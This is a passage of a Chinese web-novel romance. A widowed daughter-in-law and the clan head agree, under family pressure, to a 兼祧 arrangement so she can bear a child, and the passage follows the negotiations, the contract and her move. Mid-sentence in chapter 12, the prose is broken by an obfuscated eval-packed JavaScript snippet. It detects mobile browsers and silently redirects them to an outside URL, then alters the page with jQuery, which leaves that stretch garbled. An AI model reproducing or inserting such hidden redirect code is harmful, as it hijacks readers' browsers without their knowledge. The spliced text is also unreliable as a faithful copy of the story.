“见过族长。”除了周氏外，其余族老均还了一礼。 前厅明间左右各有八把交椅，四太太等人各自落座，程明昱亲自搀了母亲周氏在东面罗汉床安置，随后身姿磊落坐在正北的太师椅，大抵是收到了什么重要邸报，一直握在掌心没放，正色问大家， “诸位族老联袂而来，可是有事？” 虽说平日总有人来寻他商议族务，一口气来这么多倒也罕见。 四太太身子微微前倾，闻言瞟了五老爷一眼，五老爷如今在长老中颇有领衔之势，也是程明昱最敬重的长辈之一，由他开口最合适不过。 “明昱啊，是这样的，明祐荫子一事想必你已耳闻，明泽与明同为这事争执不休，闹得你四婶不眠不休数日...” 程明昱惦记着手中的急报，不声不响截住他的话，“此事我来办。” 他视线移向四太太，眉目沉静，“您老一碗水难得端平，我出面料理，他们必无二话。” 然他发现自己说完，诸人并无反应。 程明昱便觉怪了，以他之敏锐，当然也猜到今日人 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“那就过继。”程明昱眼风扫过去，眼神带着不容置疑的决断，“在族里过继个孩子给她，我出面来办，往后有事我担着。” 十二太太接话，“芙儿不答应，她不肯替旁人养孩子，怕将来孩子离心。” 这就不好办了。 程明昱掌心松了松，将那份邸报搁在身侧桌案，语气放缓，带着安抚，“我记得夏氏决心为丈夫守节，想必兼祧并非她本意，无非是顾虑有人觊觎她美色，那么我今日在此与诸位承诺，她的事我会安排妥当，绝不会叫人动她一根毫毛...” 五老爷轻哼一声，“你素日忙得不可开交，总不可能安一只眼睛在她身上吧，与其费这个心思，还不如名正言顺兼祧了她，那方是一劳永逸。” 程明昱：“......” 他给气笑了，语气冰凉，“总不能往后族中但凡有女人守寡，都叫我这个族长来兼祧？” 众人讪讪，哑口无言。 “都散了吧，此事我不会答应。”程明昱起身送客。 众人铩羽而归。 夜色如水，月华初上，两旁的太湖石在灯芒下投出奇崛的影子，踏碎一地竹影，惊起宿鸟，扑棱棱飞入更深的暗处。 四太太等人失望离去，程明昱亲自搀送母亲回房。 路上周氏搭着他瘦劲的手臂，连啧了好几声。 程明昱装作没听见，反与她说起京城郑家的事来，前不久郑家老太爷致仕，惦念外孙，非要将程亦彦接去抚养，程明昱每日均与郑家有书信往来，知道母亲记挂孩子，便将亦彦动静告知于她。 但大太太今日显见没有心情，反是问他， “你为何不答应？那芙儿是相貌配不上你，还是品格配不上你？又没叫你娶她，不过兼祧而已，你就眼睁睁看着她如一叶浮萍，身无所系？” 程明昱觉着母亲这番话好生没道理，他总不能因为一个女人可怜便与人家兼祧，不过母亲素来喜爱那夏氏，此番想撮合二人倒也不意外。 “母亲，族中可与她兼祧者，并非没有，母亲与族老们为她择合适的人选便是，不是非我不可。”程明昱语气平淡，并不想继续这个话题。 “怎么不是非你不可？”周氏冷眼扫过来，睨着身侧高大清俊的儿子，“你丧妻，又发誓不娶，往后不必担心有女人与她别苗头。换旁的男人，总归是有隐患的。” 程明昱眉峰蹙紧，已有不耐，“您既知我发誓不娶，如此不是逼着我在族人面前破誓么？打的是兼祧之名，行的是夫妻之实，儿子身为族长，岂能做这等掩耳盗铃自欺欺人之事，岂不荒唐，岂不可笑？” “你少给我扯这些！”周氏没好气道，“我告诉你，以芙儿之美貌，让你兼祧她，是便宜了你！” “正因为此，我才更不能行此荒诞之举。”把夏氏当什么了？ 在程明昱看来，这个主意与欺负夏芙没有两样。 周氏被他堵得无话可说。 面对一身正气凛然的儿子，她也没辙。 12. 第 12 章 自四太太拿定主意要说服程明昱，夏芙便有些忐忑不安。 自小被闺范教导长大的小娘子，对着与一个陌生的男人兼祧是心存羞耻和不安的，这与她素来规行矩步的言行背道而驰，更何况她诚心为丈夫守节，怕他答应。 又怕他不答应，孩子的事落了空，往后彷徨无依。 心情难以言喻。 吩咐丫鬟们在西次间绣花打络子，独自在东次间窗棂内默坐，等到夜里亥时初刻，穿堂的门吱呀一声被人推开，借着昏暗的光色瞧见婆母独自迈进门槛，步伐沉重，显见没了出发时的意气风发。 便知事情没成。 也不意外。 原以为会松一口气，莫名的，竟更多的是茫然和空虚。 他不应，是另择他人？还是就此放弃？ 事情好似又回到原点，诸多顾虑再度袭涌而上，怕金氏与三弟因名额逼着她过继，怕族里旁的男人就着兼祧做文章，怕程家待不下去，不得不离开或改嫁，怕身若浮萍身不由己....越想越觉着心口压了巨石一般。 这一瞬，夏芙忽然意识到，他好似当真是最稳妥的选择啊。 略作苦笑，夏芙摇着头，快步招呼丫鬟迎出来，扶四太太进屋。 四太太不是轻易被打倒的人，“不急，再磨磨他，一定磨得他应下这桩事。” 夏芙笑笑不说话。 翌日四太太自库房掏出几只山参并砚台，分别送去五房，十二房与十八房，请几位族老再接再厉，大家一口应下，接下来轮番堵截程明昱。今日有人将夏芙处境说的我见犹怜，明日有人将族里适宜男子名单递给他， “你瞧，人选都在这，年纪大的鳏夫不能要吧，年轻一些能配夏氏的也就这三人，一人腿瘸，一人不肯兼祧只接受改嫁，还有一人其貌不扬，哎哎哎，你听我说完.....” 十八老爷更果断，自四太太处要了一幅程明祐曾作的夏芙画像递给程明昱，“生得这般好颜色，我看族长不必兼祧，径直娶回去做夫人吧。”意在以进为退逼程明昱就范。 饶是几位族老嘴皮子说破，也没能撼动程明昱分毫。 为了打消族老的念头，程明昱避不见客，他若是躲人，那是易如反掌，否则这些年明澜长公主何至于连他一片衣角都瞧不见。然长公主殿下乐此不疲，日夜遣人蹲守程家大门外，每日得一些程明昱的消息聊以度日，以作慰藉。 自上半月磨到下半月，族老们眼看说不动程明昱，只能将炮火指向周氏，一个两个的成日里坐在周氏的明间，非逼她将事情揽下来。 四太太抹着泪道，“大嫂，此事我是先过了芙儿明路的，她咬着牙应了，如今明昱这边却迟迟不肯松口，可怜小娘子面儿薄，觉着难堪，这段时日都不敢来长房给您请安。” 这话周氏不做怀疑，也舍不得夏芙委屈，“那夜你们离去，我便劝了他，那混账不为所动，近段时日连我都避着了。” “无妨，我今日再劝劝他。” 七月二十九，日子渐渐转了凉，秋老虎虽余威赫赫，到底没有三伏天那般热了。 昨日程明昱一年守制结束，今日州郡的官员纷纷拜访，趁着他归京前笼络笼络关系，程明昱应酬一番，至晚方归，照旧戌时初刻行至荣华堂外，原不打算进去，在外行一礼，寻嬷嬷过问周氏起居便打算回房。 怎奈今日院子里静悄悄，安静得不同寻常。 守门的嬷嬷见程明昱驾到，立即迎上纳福。 “请家主安。” “母亲这是安置了？”周氏睡眠不好，一旦安歇，院子里便不敢闹出半点动静。 嬷嬷犯愁道，“回家主话，睡倒是没睡，不过没胃口用膳。” 程明昱略顿，只得掀袍进屋。 宽阔的明间正中摆着一张黄花梨的八仙桌，桌面备了十数道佳肴，均用鎏金铜盖掩着，大太太周氏靠在一旁圈椅假寐，听得一道脚步声清晰沉稳，便知是程明昱来了，也不睁眼，只往对面寥寥一指，“用膳了不曾，给你留的。” 程明昱没入席，而是来到她跟前，朝她行礼， “儿子近来诸务繁忙，不曾陪母亲用膳，与您道罪。” “哼！”周氏冷哼一声，抚了抚额间抹额，没接他这话。 程明昱何尝不知母亲近来在与他置气，唯恐她不惜身子，耐着性子劝导，“母亲，儿子侍奉您用膳。” “不吃！” “伤了身子如何是好？” “伤了便伤了，与其成日受气，还不如早些去九泉之下陪你父亲。”周氏拉着老长一张脸，极其不快地瞪着儿子。 程明昱脸色一变，肃然看着她，“母亲，您此话置儿子于何地？” 周氏迎上他的目光，“你可知芙儿得知你不肯应下兼祧，这几日茶饭不思，好好的小娘子，门都不敢出了，唯恐旁人笑话她。” 这话程明昱是一个字都不信。 事情没过明路前，族中长老绝不可能将此事外泄，以免夏芙承受风言风语，他也不会看着这样的事发生。 “您老莫要诓骗儿子，程家堡动静，儿子了如指掌。” 周氏气笑，重重哼他一声，干脆退席自圈椅挪去后方的罗汉床，偏身往上一坐，“你若真不答应，那我便干脆将芙儿说给你表弟，你表弟一表人才，正要去金陵任官，芙儿出生金陵，跟着去，怕是比嫁你还要好上百倍。” 程明昱被母亲这话给听笑了。 在他看来，夏芙既然能答应兼祧，便也能改嫁。 甭管母亲如何暗示，程明昱立如青松，神色不见半分动容。 周氏见他无动于衷，气狠了，直挺挺地往后倒去， “天爷呀，我这日子是过不下去了，老天爷先是夺了我的丈夫，又收了我两个儿媳，怎么不干脆将我也收了，好过在这人世白白受煎熬。” 说到最后还真哭出了音。 程明昱终于不能坐视不管，移步至她床前，声线发沉，“母亲，不过是一个隔房的侄媳，您何必为她将儿子逼迫到这般境地？” 周氏翻过身背对他，用帕子拭去眼泪。 她当然不是为了夏芙，即便再疼爱夏芙，也不可能为了她枉顾儿子心意。 她为的实则是程明昱。 这般年轻俊美的儿子，位高权重，举世无双，她怎么忍心看着他孤独终老，孑然一身。 在四太太看来，程明昱是最好的兼祧人选。 在她眼里，夏芙何尝不是儿子最般配的枕边人？ 品性容貌均挑不出错，家世...都二婚了，还讲究什么家世。 她就是相中了夏芙。 换做旁人，她能应？没有她首肯，这种事绝无可能闹到程明昱跟前去。 打着兼祧的名头，先让二人处一处，万一看对眼了呢。 待回头时机成熟，再让夏芙改嫁过来做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531927|202634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正头娘子岂不美哉？ “我不管，我就相中了芙儿！”周氏拿出当年对付程明昱父亲的本事，耍起了胡赖。如他们这等周正君子，最容不得人死皮赖脸磨，周氏对这一招很有信心，抽噎一声，演得越发上头。 “我好端端的的媳妇没了，老天爷就不能尝一个好媳妇给我么，我也想如旁人那般看着我儿子媳妇出双入对，相携终老，白发人送黑发人的滋味好受么？程明昱，就不能为你娘着想着想？” 程明昱只觉自己的母亲有些无理取闹。 然而还没想个法子来周全，榻上那位太太背对他絮絮叨叨，越发一副要死要活的模样， “你又不是没娶过妻，装什么贞洁烈汉？不就是那档子事么，想当初郑氏怀的也容易，耽误不了你多少工夫！族长大人便屈尊降贵，舍个孩子给她，叫她安身立命，叫四房消停消停，又如何？如此，我也得个孙儿，没事了去瞧瞧他，叫他承欢膝下，享享天伦，彦儿长大了也有个嫡亲的兄弟相互帮衬！” “程明昱，孔夫子教你何为君子，却也没让你不知变通！” “人家一个小娘子说应便应，反倒是你一个大男人十分地不痛快！”周氏越说情绪起伏越大，最后亮出杀手锏， “总归，你答应与芙儿兼祧，往后我便不再与你议亲，听凭你终身不娶，绝不干涉。” “否者，你就等着我缠你吧！” 事实上，程明昱发誓不娶，头一个站出来反对的便是周氏这个母亲。就如她劝夏芙莫要把路堵死一般，她也不愿看着儿子被誓言所困。 当初郑氏过世，程明昱便无意再娶。先是长公主逼婚于前，又有母亲周氏张罗在后，方才娶了李氏。如今虽背负克妻之名，然自李氏故去后，登门说亲者依然如过江之鲫。程明昱盛名在外，世人求亲的热情始终不减。 外头的人，程明昱自然可以不加理会。自己母亲，却不能置之不管。 是以周氏这个条件，还真叫程明昱侧了目。 年轻俊秀的男人，不得已，拉开一张圈椅，在她跟前坐下，对着耍起荤赖的母亲也是没辙。 他眼底浮现冷笑，“您这又是激将法，又是威逼利诱，唱的好大一出戏。” 周氏听出他语气隐有松动，暗乐了下，调转身面朝他，“怎么样，程家主意下如何？” 程明昱满腔无奈，又哭笑不得，骨节分明的手轻轻在太阳穴处摁了摁，掀眼问周氏，“您真的非夏氏不可？” 周氏坐直，抱着引枕，皮笑肉不笑，“你不用担心人家小娘子纠缠于你，人家一颗心坚守亡夫，只求得个孩子，得你一些庇护，图个安稳日子，不耽误你信守誓言。” 这话程明昱是信的。 那日亲耳听得夏芙立志为亡夫守节，不像首鼠两端之人。 她没有城府，一点风吹草动都写在脸上。 程明昱沉默，尚未表态。 周氏趁热打铁，快刀斩乱麻， “程明昱，你一贯信奉父母之命媒妁之言，你也素来相信我的眼光，那母亲我便告诉你，这事，就你了！” 周氏一锤定音，转身过去，把耳捂住，不给他反驳的机会。 程明昱委实被她整得一点脾气都没了，到了这个田地，不得不正视这桩事，修长指尖轻轻在眉棱敲打片刻，眉目渐而变得深邃， “我要见夏氏一面。” 确认此事经她首肯，而非受人逼迫。 13. 第 13 章 七月三十清晨，半空层层叠叠堆着云，四下里闷得慌。婆母一早便被十二房的太太请了去，夏芙过去请安，未曾见着人。折回秋香苑，嫌屋里闷热难消，便将锦杌与小案挪至廊下，唤了两个小丫鬟，一同做起了手工。 秋香苑里人口单薄，份例本就不多，金氏还时而克扣些去，丫鬟们更是沾不着半点油水。夏芙一月虽有五两月银，终究要攒着些用，不敢乱花。主仆平日用度极为节俭，但凡闲下来，总要寻些针线活计，聊以贴补。 秋蕖绣活好，会绣些帕子香巾，夏芙心灵手巧，便以五色线勾作香囊，再放些艾草菖蒲之类，交由秋蕖拿去外头卖。程家堡有自己的小集市，位于堡西最边一条街，高墙之下，琳琅满目摆列各色小摊，所售之物皆出自各房主子及丫鬟之手，或为自制，或为闲置旧物，借此换钱。堡外更有繁华街市，亦可拿去那头售卖，能卖个更好的价钱。 不过秋香苑在族中实在不起眼，平日出堡尚且艰难，遑论去外头寻门路。 主仆俩各忙各的，丫鬟雀儿忙着两边拉线打下手。 忙活一会儿，前去晨练的文宁回来了，手中抱了一大捧沾满朝露的花， “二奶奶，这是奴婢自后院子采来的花儿，您瞧着喜欢吗？” 满满的一大束，姹紫嫣红，各式各样的品种都有。 夏芙喜极，连忙吩咐小丫鬟进屋捧来花瓶，将花接过，打算插花。 自上回出事，夏芙便极少出门，文宁瞧在心里，每日去后花园晨练时，总要给夏芙捎一把回来，姑娘看着性子大大咧咧，实则心细。 夏芙很喜欢她，“给你留了几样早点，快去吃吧。” “多谢二奶奶。” 夏芙先用剪子裁出几枝花，插入梅瓶，余下花瓣打算摘下来晒干，回头做香囊。 刚刚收拾停当，守门的婆子领着一人进来。 夏芙抬眼望去，觉着面熟，依稀是长房里的哪位嬷嬷。 那嬷嬷穿过庭中，行至台阶下立定，朝夏芙端端正正施了一礼，“请二奶奶安，上回您给的方子，我们太太觉着没有先前的好，想请您过去当面调配，还得换回原先的方子才好。” 夏芙一惊，“可是大伯母吃着不适？” 嬷嬷笑道，“倒也没有，就是不大合胃口。” 夏芙明白了，“您稍候，我换换衣裳便随您去长房。” 留下一人招待嬷嬷，其余人簇拥夏芙进屋更衣。 夏芙这边换了一身杏子黄的薄褙，底下一条镶米粒珍珠的素白挑线裙，料子是上回周氏赏的，既不特别鲜艳，也不显老气，正贴合她的身份。 至于上回周氏给的金珠，四太太全数转给了夏芙，夏芙将最大的几颗锁进竖柜里，只拣了最小那一颗，嵌在一支双股花钿钗的正中。那钗本是双股金累丝打制，当中再嵌上这颗饱满圆润的金珠，便成了夏芙最贵气的一件首饰。平日里压根不敢戴出去，也只有去见周氏，才舍得拿出来。 除此之外，再无旁的配饰，到底在守寡，夏芙不能乱了分寸。 收拾妥当，文宁陪她出门。 迈出秋香苑的穿堂，夏芙心里仍有些不安，脚下微微迟疑，低声问那嬷嬷，“可要请我婆母一道去？”她从未单独去过长房，一个守寡的娘子，独自往那边跑，难免惹人议论，有婆母为伴更为妥帖。 嬷嬷这边本就刻意避开四太太，怎么可能再将人请回来。 “奶奶不用担心，您的顾虑我们太太心如明镜，不会有事的。” 夏芙不便推辞，遂随她往长房去，只不过今日这路径实在有些蹊跷，未曾走人来人往的宽道，反倒挑了一条僻静的林荫小径，自四房西侧的小园出来，循水沟往西行，来到一片水林前。 但见一片水松，密密匝匝矗于池中，一条平折石桥穿林而过，不知延伸向何处。 夏芙从未到过这里，不禁一惊。若不是长房来人相请，她早已折返。行至石桥口，她终究止了步，警惕地瞥向嬷嬷，“嬷嬷，这不是去荣华堂的路呀。” 嬷嬷笑着朝石桥一比，言简意赅：“家主要见您。” 夏芙心口一窒，登时睁圆了眼，紧张得几乎呼吸不过来，本欲追问家主因何见她，转念间便反应过来，顿时住了口，垂眸低声道：“我知道了。” 说罢深吸一口气，小心翼翼踏上石桥。穿过十折平桥，来到水林尽头，但见前方一大片荷花迎面而来，荷叶挨挨挤挤，高高低低，错落有致，茂盛得全然瞧不见水面。她早闻程家堡有一片浩浩汤汤的荷池，因是家主私地，平日人迹罕至，今日得见，果然蔚为壮观。 可惜此番没了赏景的心情，夏芙跟在嬷嬷身后，沿着水林边缘的石桥往西面折，只见前方一处水榭悬停在荷池之上，四柱没入水中，看不见根基，檐角微翘，欲飞未飞。 嬷嬷行至水榭廊庑下，便止了步，抬手往里比，夏芙定了定神，缓步往里去，文宁跟在她身后。 主仆二人越过廊角来到水榭正面的台樨，再一抬眼，只见水榭正中的厅堂，矗立一扇苏绣花鸟坐屏，屏风只有半人高，却足足有半丈之长，正巧将里间摆设遮了一半。 一童子立在屏风处，往当中的长案一比，请她落座。 夏芙依言跪坐在案后，及近，方瞧见屏风后隐约有个人影，身形被绢面滤得模糊，只剩一道清隽的轮廓，肩线平直，端坐如山，衣纹在昏光里层层叠叠，是月白色的，几乎与屏风上的烟云融在一起。 隔着屏风，夏芙都能感受到他一身静气。 夏芙如其他族人一般，对他满怀高山仰止，伏低身子给他请安。 程明昱正端坐案后，翻阅各地送来的邸报。程家铺子遍布大晋四境，每三日，驻守各处的密卫便将铺子收支、当地物价民生记录在档，发往程家堡，程明昱能从当中的蛛丝马迹窥出各地民情。 身为政事堂参知政事，他在寻常人眼中是最年轻的宰辅，名声赫赫，令人仰慕。可到了政事堂那几位资历深厚的宰辅跟前，便是后辈，最难啃的骨头，自然都推到他手中。手握度支大权的首相有意革新税制，命他暗中了解民情，打一打前哨，程明昱近来，便是在忙这件事。 在书童的提醒下，方知夏芙已到，这才抬起眼，一道柔柔静静的身影被天光勾勒出投在屏风，只见她微微垂首，脖颈弯出柔和的弧度，像一枝被露水压弯的荷茎，大抵是有些紧张，如初见般，嗓音露怯。 程明昱一瞬移开视线，抬袖还了一礼，“今日请你过来，有事相询。” “家主请说。”她声线经屏风滤染，带着几分柔曼。 程明昱目光落在屏风座架，开门见山， “兼祧是你自己的主意，还是婆母所为？” 夏芙一愣，听出他语气里的责问，多少有些难堪。 这一月来，婆母等人数度纠缠于程明昱，夏芙是有所耳闻的，今日来见，她便自觉难为情，摸不准家主是在考量，还是决意当面拒绝。 纵然婆母有为四房算计的意思在里头，终归也是为了她好，实处也落在她身上，夏芙做不到把责任推给旁人，遂定声回， “此议为十二叔母首倡，婆母意动，真心实意征求过我的想法，最终是我拿的主意。” 视线也没瞧他，而是好巧不巧与他一道落在屏风架处。 程明昱何等人物，听出姑娘紧张之余那股莽莽撞撞的担当。 失笑之余，也很 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夏芙闻言心弦绷紧，满腔的担忧终于落在了实处，他果然是为了推脱才见她一面，唯恐程明昱将她随意配人，支着身急急望向他，“我事先与婆母呈明过，不愿将来拉扯不休，若要兼祧，必得择一位不再续弦之人，否则，我宁可不要。” 所以，才把主意打到他这来？ 这话换旁人说，程明昱必定认为对方盯的是他族长身份，相中的是背后利益。 而夏芙说出来，程明昱却相信她当真是为了往后不再纠缠。 程明昱一时无话可说。 到此时此刻，他不得不承认，结合夏芙经历与处境来看，他好似着实是最合适的人选。 茶烟袅袅迷离了他清冷的眉眼，程明昱呷了一口茶，抿紧薄唇，没有说话。 夏芙静静看着屏风后那道身影，心里头七上八下，她实在不擅长揣度男人的心思，过去程明祐也从不叫她猜，想什么只管说什么，她摸不准程明昱到底是个什么章程。 不管了，都走到这一步了，没有退缩的余地。 孟姐姐说得对，往前一步便是康庄大道。 与其是别人，不如是他。她知道他是君子，这样私下见面，亦是以屏风为隔，始终秉持君子之风。如此回头定能好聚好散，不叫彼此难堪。 是她仰仗他，求他庇护，权当她自私吧，豁出去算完。 夏芙鼓起这辈子最大的勇气，手帕在掌心拧了又拧，几欲绞烂。她睁着一双亮晶晶的眸子，直直望向那男人，拼尽全力争取， “家主，我只求个孩子傍身，为后半生谋个靠，绝无丝毫觊觎之心，只要家主答应，事成后，我绝不叨扰您零星半点。” 最后，她脆生生立誓，“可...立字为凭。” 风拂过来，掠进程明昱眸底，他掀起眼帘，视线定在那道绰绰约约的身影，有一瞬的锐利。 她家世低微，性情柔弱，偏又握着个荫庇的名额招人窥觎。 她毫无依仗，群狼环伺，无论择哪一条路，皆暗藏汹涌。 与其是别人，不如是他，至少能确保她不被人欺负，确保她得到尊重，事成干脆利落，不生瓜葛。 主意就在这一刻定下。 程明昱当机立断，“好，我答应你，待你有了身孕，绝不牵扯。” 也算峰回路转，是夏芙所没料到的，心念电转之际，方觉出了好一身汗。 她捧着帕子轻轻拭汗，高兴地松了一口气，“多谢家主。” 两下里定了章程，均无后顾之忧。 就此达成约定。 一个由他们自个制定规则的约定—— 约定接下来一段时日以夫妻相处。 只为一个孩子。 无关风月。 14. 第 14 章 程明昱这边应下，几位族老便聚在周氏的荣华堂，商议如何定章程。 嬷嬷上过茶后，十八老爷率先开了口，捋着胡须道：“就依咱们房先前的旧例，先写个契书，咱们做个见证，回头待孩子出生，再上族谱。” 周氏不急不缓地喝着茶，笑道，“契书什么的，不急着定，待生了孩子，再上族谱便是。” 四太太门儿清，看出周氏相中夏芙为媳，难保没有让夏芙过门的意思，唯恐临到头长房反悔，赔了夫人又折兵，她只能硬着头皮回绝，“还是先签契书，好叫两个孩子安心，以免多虑。” 她倒没有留夏芙一辈子的意思，只消孩子记在明祐名下，回头待时机成熟，叫夏芙去给明昱做伴，她也是乐见其成的。 兼祧是古法，自然得先经族老同意见证，过明礼方能成事。 周氏暗暗掂量了一番程明昱与夏芙的性子，若不过明路，那两位祖宗铁定是不应的，只能先走这一步。不过她这个人，从来不把话说死，也不把事做绝，总要给自己留一条退路。 “也成。”她放下茶盏，语气松快了几分，“先定契书，让此事名正言顺，给两个孩子吃颗定心丸。不过，”她话锋一转，目光扫过众人，“我的意思是，暂时不必在族中公布此事。” 四太太一惊，“为何？” 周氏瞥向她，“明澜长公主的人还在府门口蹲着呢，此事若宣扬得人尽皆知，你猜她会如何对付夏芙？” 这话如一盆冷水浇在四太太心头，别说夏芙，便是她自个以及整个四房都会成为明澜长公主泄愤的对象。 堂中一时寂静。 几位族老想起这茬，也不由生出忌惮。十二太太率先点了头，坚定地站在周氏这边， “还是嫂嫂考虑周全，先定兼祧之礼，不事声张，回头孩子诞下，再举办大礼，昭告族人，更为妥帖。届时尘埃落定，长公主拦也拦不住了。” 四太太转念一想，只待签订了契书，以程明昱重誉的性子，必不会食言。她这才定下心来：“就这么办。” 十八老爷拟定契书，先交由周氏和四太太过目，众人无异议后再送去程明昱处，这一夜程明昱回得晚，看了一眼契书，吩咐加上事后不再瓜葛这一条，族老原先不肯，程明昱坚持，也就没法。 程明昱这边先签了章，送去给夏芙，夏芙瞧了以为甚妥，立即盖下手印，最后再返给族老签字。契书一式三份，两份交给当事人，余下一份交存族中档案库存档，程明昱这份搁在自个书房，夏芙那份则被四太太收了起来。 事情就这么敲定。夏芙有如做了一场大梦，时常辗转反侧，为接下来的日子生出担忧迷茫甚至羞怯，不过念着能得个亲生骨肉，她又说服自己安心接受。 四太太可就有的忙，费了老大功夫将大儿子一家与小儿子赶回京城，又巴巴去长房讨示下， “今个儿已是八月初四，明昱这边预备何时过来？” 周氏笑容发苦，扔给她一张单子，“呐，昨个儿你们家主唤了明老太医征询，问过哪些日子适宜有孕，事先得知芙儿每月月事均在月底，老太医盘算一番说是月中同房，有孕机率最大，呐，程家主便圈定这四个日子，你拿去给芙儿，叫她心里有数。” 明太医原先在太医院任职，致仕后，被请来程家堡当府医，老人家德高望重，医术高明，犹擅妇科，很得程家礼遇。 周氏说完，两眼望天，不予置评。 四太太接过单子一看，只见上头圈定了十四、十五、十六、十七四日，其余时候不去。 默了默倒也没说什么。想当初她怀程明泽，也就新婚那几日的功夫。四日就四日吧，芙儿若幸运，没准这一月便能怀上。 四太太满意地收起单子，笑着说， “那我便回去，叫芙儿预备着。” “等等！”大太太将人叫住。 她心里把兼祧当成一门简易的婚事来待，不想草草敷衍，更不愿孩子事后回忆起全是委屈和遗憾。她拿定主意，一字一句道：“芙儿的院子怕是窄了，长房离着四房又远，来来去去不方便。我看给芙儿挪个地儿。河池旁那间听雨阁，格局宽敞，明亮大气，往后便给芙儿住了。” 周氏口中的听雨阁，便是前些日程明昱与夏芙相见之地。此地离程明昱书房极近，恰有一条林荫水道可通四房，便于夏芙去给四太太请安，可谓是两厢便宜。 况且那一带园子是程家禁地之一，无人敢擅闯，也绝了旁人窥视夏芙的心思。 又商议给两个孩子备新裳，四太太一应依她。 回了四房，四太太便将那张单子交予夏芙，夏芙见了，先是俏脸一阵通红，旋即心地踏实起来。瞧，家主便是家主，所虑所思全是为了孩子，多余的一天都没有，可见这个人选是对了。 “你回房，慢慢归置衣物箱笼，待听雨阁收拾妥当，便要搬去那头住。”四太太看着她，眉眼生怜，这一去，往后还不知能不能回来，婆媳相依相伴这些年，夏芙如女儿一般，哪里就轻易割舍得开。 夏芙却没搁在心上，慢腾腾将那张单子收入袖中，随口道，“娘，不过收拾些平日用惯的东西，费不了多少功夫，我先侍奉您用膳。” 离着十四尚有些时日，两下里紧锣密鼓预备起来。 长房那边很是慎重。 一来，将夏芙原先身旁的婆子丫鬟均安置去外头铺子里当差，只留下文宁和秋蕖。二来，修缮四房至听雨阁这一段的林道，招呼一批工匠架了一截长长的避雨长廊，供夏芙出入。三则，依照新婚规格装饰听雨阁。 前两桩事都十分顺利，最后一桩不知怎么落入了程明昱耳中，半路被叫了停。他只吩咐人问了夏芙喜好，依照她的习惯布置了屋子。 原先的秋香苑交予秋蕖打理，夏芙只带文宁过去，此外，长房还遣了一位老嬷嬷来伺候她。四房那边，借着一场大雨，以年久失修为由，叫夏芙临时挪了院子。至于挪去何地，寻常婆子丫鬟不得而知，即便心里有所猜测，在四太太的高压之下，也不敢妄言。 乔迁这一日，夏芙这边收拾了两个箱笼，四太太进屋时瞧见，不免皱眉，“怎么就这么点东西，你四季的衣裳不搬过去吗？” 夏芙握着帕子盈盈而立，嗓音柔婉，“娘，住不了多久，不必兴师动众。” 四太太道，“你大伯母的意思是往后那一带园子都归了你，那里景致宜人，也好安胎。” 夏芙坚持道，“待有了身子，我便回来陪娘。”那院子景致瑰丽，又是家主私地，她如何住得？ 四太太也不好多劝，亲自送她去听雨阁。 东西不多，很快归置完毕，夏芙先去六房探望孟氏，又回四房陪婆母用晚膳，至夜里消食时方折回听雨阁。 院子地处水凹，三面临水，北面靠山。左右各有一间跨院，成环抱之势拥住主屋，远远望去，如临时栖息在水面、展翅欲飞的灵蝶。 主屋规制宏阔，轩敞明净。南面临水，辟为水阁。脚下河池匍匐一地睡莲，接天莲叶自阁前迤逦而去，一望无际。逢雨时，大珠小珠落玉盘，清响泠泠，如天籁之音，正合了李义山“留得残荷听雨声”的意境，故名“听雨阁”。 北面另自成景，窗是月洞窗，镶着半透明的鲛绡纱，外头瞧不见里间，里面却一眼揽尽院中风光。此地如程明昱书房一般，栽植了一片竹林。风拂过，有如凤箫轻咽，龙吟细细。再有一圈黑瓦白墙环过竹林，留下一扇月洞门。嬷嬷告诉过她，往后家主便打那扇门来。 随着日子渐近，夏芙心头紧张也不再出门， “我听说家主前几日回了京城，明日便是十四，回得来吗？” 这位嬷嬷姓周，原是程明昱的乳娘，本该在府上荣养，怎奈夏芙之事非同小可，周氏命她出山坐镇。 她细细地搅动瓷盅里的燕窝，试好温度方奉给她，温声道，“您别担心，家主向来守信，该不会爽约，即便临时有事，也会遣人来知会一声的，二奶奶只管安心。” 夏芙也没法子，接过燕窝慢慢地喝，心想来与不来，何时来，何时去，均由不得她做主，她能做的便是耗在这等。 * 十四日一早，程家堡便热闹了起来。 总账房的管事们忙得脚不沾地，招呼着小厮丫鬟四处拆挂灯盏。明日便是中秋佳节，外地的郎子要归家探望，出嫁的姑奶奶们也得回府省亲。年轻的媳妇们私下里做出各色糕点或绣活，争着孝敬周氏，整个程家堡比往日多了几分喧腾喜气。 周氏却没往年那等热情。 她面上和和气气地招待着往来女眷，私下却问了好几遍：“程明昱可有归家？” 悬了大半日的心，终于到了傍晚酉时初刻，等来了消息，人已到了门客房。周氏长舒一口气，连忙暗自吩咐身边嬷嬷：“叫他别来我这儿了，先把那事办妥，明日晨间再来请安。” 顿了顿，又知程明昱向来刻板守矩，复添了一句：“说我身子不适，早睡了，别来烦我。” 话虽如此，程明昱进府后，照旧先到荣华堂外，对着母亲正院恭恭敬敬行了一礼，问过起居饮食，方折回书房。 数日不曾回乡，案前堆积不少文书账目，需程明昱签发。 一身紫色官袍未褪，绕至案后便坐下开始忙碌。 拿过第一份账目，他便停了下来，神色不快，抬眸看向管家，“萧山送来的邸报里提过那一带仓库的租银，半年合计下来可不是这个数，东南铺租是何人在管？” 负责经手各地租子的三管家一听便知账目出了事，程明昱手中有明账，更有各处暗线送来的密报，程家延续数百年，家大业大，必得做一手，留一手，若非有手腕，如何坐隆中而知天下事。更叫他吃惊的是，平日里邸报甚是琐碎，这位年轻家主竟过目不忘，倏忽间便看出不对来。 三管家冷汗涔涔，掖手下拜，“回家主话，东南铺子归刘旋巡视，账目是他核对过的，老奴....” “你也有失察之责。”程明昱淡声截住他的话，将这份账目扔回给他，“想必他已与铺子里的管事勾结，做好了欺上瞒下的准备，这个人不能用了，你亲自查账，五日后，我要结果。” 